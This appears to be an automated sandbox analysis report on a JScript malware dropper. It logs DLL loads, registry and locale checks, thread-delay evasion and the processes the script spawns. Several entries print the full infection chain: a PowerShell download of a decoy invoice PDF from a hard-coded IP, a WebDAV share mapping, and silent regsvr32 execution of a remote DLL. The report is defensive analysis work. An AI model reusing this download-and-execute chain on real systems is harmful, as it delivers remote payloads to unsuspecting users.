Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3543.js.csv");ITextStream.WriteLine(" entry:7293 f:edxbrmgdy");ITextStream.WriteLine(" exec:2 f:edxbrmgdy");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4149			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5739			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 432	Thread sleep count: 4149 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 432	Thread sleep count: 5739 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5804	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6472	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7064	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5560	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.2118798958.000001DE8ABC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2119154361.000001DE8AB58000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3344104802.000002E2F682B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3345310007.000002E2FBE54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.2118798958.000001DE8ABC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWI

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19192349328909.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
